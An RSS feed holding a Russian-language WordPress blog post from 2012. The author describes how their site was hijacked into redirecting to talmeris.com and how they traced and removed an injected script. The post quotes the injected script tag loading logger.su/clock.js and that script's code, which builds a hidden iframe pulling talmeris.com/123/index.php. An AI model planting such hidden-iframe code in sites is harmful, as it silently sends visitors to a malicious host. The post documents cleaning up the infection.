<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Проектант &#187; http://talmeris.com/</title>
	<atom:link href="https://k-det.dp.ua/tag/httptalmeris-com/feed/" rel="self" type="application/rss+xml" />
	<link>https://k-det.dp.ua</link>
	<description>Стань еще умнее!</description>
	<lastBuildDate>Tue, 07 May 2024 07:13:23 +0000</lastBuildDate>
	<language>ru-RU</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.0</generator>
	<item>
		<title>Вредоносная ссылка в теле сайта</title>
		<link>https://k-det.dp.ua/%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d1%81%d1%81%d1%8b%d0%bb%d0%ba%d0%b0-%d0%b2-%d1%82%d0%b5%d0%bb%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/</link>
		<comments>https://k-det.dp.ua/%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d1%81%d1%81%d1%8b%d0%bb%d0%ba%d0%b0-%d0%b2-%d1%82%d0%b5%d0%bb%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/#comments</comments>
		<pubDate>Tue, 24 Apr 2012 17:25:30 +0000</pubDate>
		<dc:creator><![CDATA[kdet_blog]]></dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[http://talmeris.com/]]></category>
		<category><![CDATA[вредоносная ссылка]]></category>

		<guid isPermaLink="false">http://k-det.dp.ua/?p=1588</guid>
		<description><![CDATA[Вкратце опишу ситуацию. Ни с того, ни с сего, мой сайт начал при запуске переадресовываться на другой сайт &#8220;http://talmeris.com/&#8221;. Я к googlу и yandexу за помощью, ничего толкового не нашел в чем причина, техподдержка послала по дальше, мол это ваши &#8230; <a href="https://k-det.dp.ua/%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d1%81%d1%81%d1%8b%d0%bb%d0%ba%d0%b0-%d0%b2-%d1%82%d0%b5%d0%bb%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/">Читать далее <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Вкратце опишу ситуацию. Ни с того, ни с сего, мой сайт начал при запуске переадресовываться на другой сайт &#8220;http://talmeris.com/&#8221;. Я к googlу и yandexу за помощью, ничего толкового не нашел в чем причина, техподдержка послала по дальше, мол это ваши проблемы. Помощи ждать не от кого. Но все же направление где копать появилось. Вредоносный скрипт в теле сайта. Где искать? И что с ним делать. Идея первая, изменить файл HOST.</p>
<blockquote><p># This HOSTS file created by Dr.Web Scanner for Windows</p>
<p>127.0.0.1 localhost</p>
<p>127.0.0.1 www.searchmagnified.com</p>
<p>127.0.0.1 searchmagnified.com</p>
<p># ::1 localhost</p></blockquote>
<p>Помогло. Стала грузиться страница. Но проблема осталась. Не буду же я рассылать своим пользователям инструкцию по запуску моего сайта))).</p>
<p>Идея вторая, найти и обезвредить вредителя. Поиск по каталогам сайт ни чего не дал. Но натолкнул на &#8212;- Iframe &#8211; &#8220;плавающий&#8221; или встроенный фрейм с помощью которого можно вставить один html(php)-документ в другой html(php)-документ.</p>
<blockquote><p>Например:<br />
&lt;iframe src=&#8221;iframe.html&#8221; name=&#8221;iframe&#8221; width=&#8221;0&#8243; height=&#8221;0&#8243; scrolling=&#8221;auto&#8221;&gt; &lt;/iframe&gt;</p></blockquote>
<p>А нули это очень плохо, объясню почему, вставка есть, а мы ее не видим. Поиск &lt;iframe src&gt; на сайте ни к чему не привел.</p>
<p>Ну все таки я его родименького нашел, вот он:</p>
<blockquote><p>&lt;br&gt;Время по серверу: &lt;script language=&#8221;JavaScript&#8221; src=&#8221;http://logger.su/clock.js&#8221;&gt;&lt;/script&gt;</p></blockquote>
<p>А вот его код:</p>
<blockquote><p>var iframe_0 = document.createElement(&#8216;iframe&#8217;);<br />
iframe_0.width = 1;<br />
iframe_0.src = &#8220;http://talmeris.com/123/index.php&#8221;;<br />
iframe_0.style.visibility = &#8220;hidden&#8221;;<br />
iframe_0.height = 1;<br />
document.body.appendChild( iframe_0 );</p></blockquote>
<p>Теперь осталось подредактировать код и запустить сайт. Все заработало как прежде.</p>
<script type="text/javascript">(function (w, doc) {
    if (!w.__utlWdgt) {
        w.__utlWdgt = true;
        var d = doc, s = d.createElement('script'), g = 'getElementsByTagName';
        s.type = 'text/javascript';
        s.charset = 'UTF-8';
        s.async = true;
        s.src = ('https:' == w.location.protocol ? 'https' : 'http') + '://w.uptolike.com/widgets/v1/uptolike.js';
        var h = d[g]('body')[0];
        h.appendChild(s);
    }
})(window, document);
</script>
<div style="text-align:left;" data-lang="ru" data-url="https://k-det.dp.ua/%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d1%81%d1%81%d1%8b%d0%bb%d0%ba%d0%b0-%d0%b2-%d1%82%d0%b5%d0%bb%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/" data-url data-background-alpha="0.0" data-orientation="horizontal" data-text-color="000000" data-share-shape="round-rectangle" data-buttons-color="ff9300" data-sn-ids="fb.tw.ok.vk.gp.mr." data-counter-background-color="ffffff" data-share-counter-size="11" data-share-size="30" data-background-color="ededed" data-share-counter-type="common" data-pid="cmskdetdpua" data-counter-background-alpha="1.0" data-share-style="1" data-mode="share" data-following-enable="false" data-like-text-enable="false" data-selection-enable="true" data-icon-color="ffffff" class="uptolike-buttons">
</div>]]></content:encoded>
			<wfw:commentRss>https://k-det.dp.ua/%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d1%81%d1%81%d1%8b%d0%bb%d0%ba%d0%b0-%d0%b2-%d1%82%d0%b5%d0%bb%d0%b5-%d1%81%d0%b0%d0%b9%d1%82%d0%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
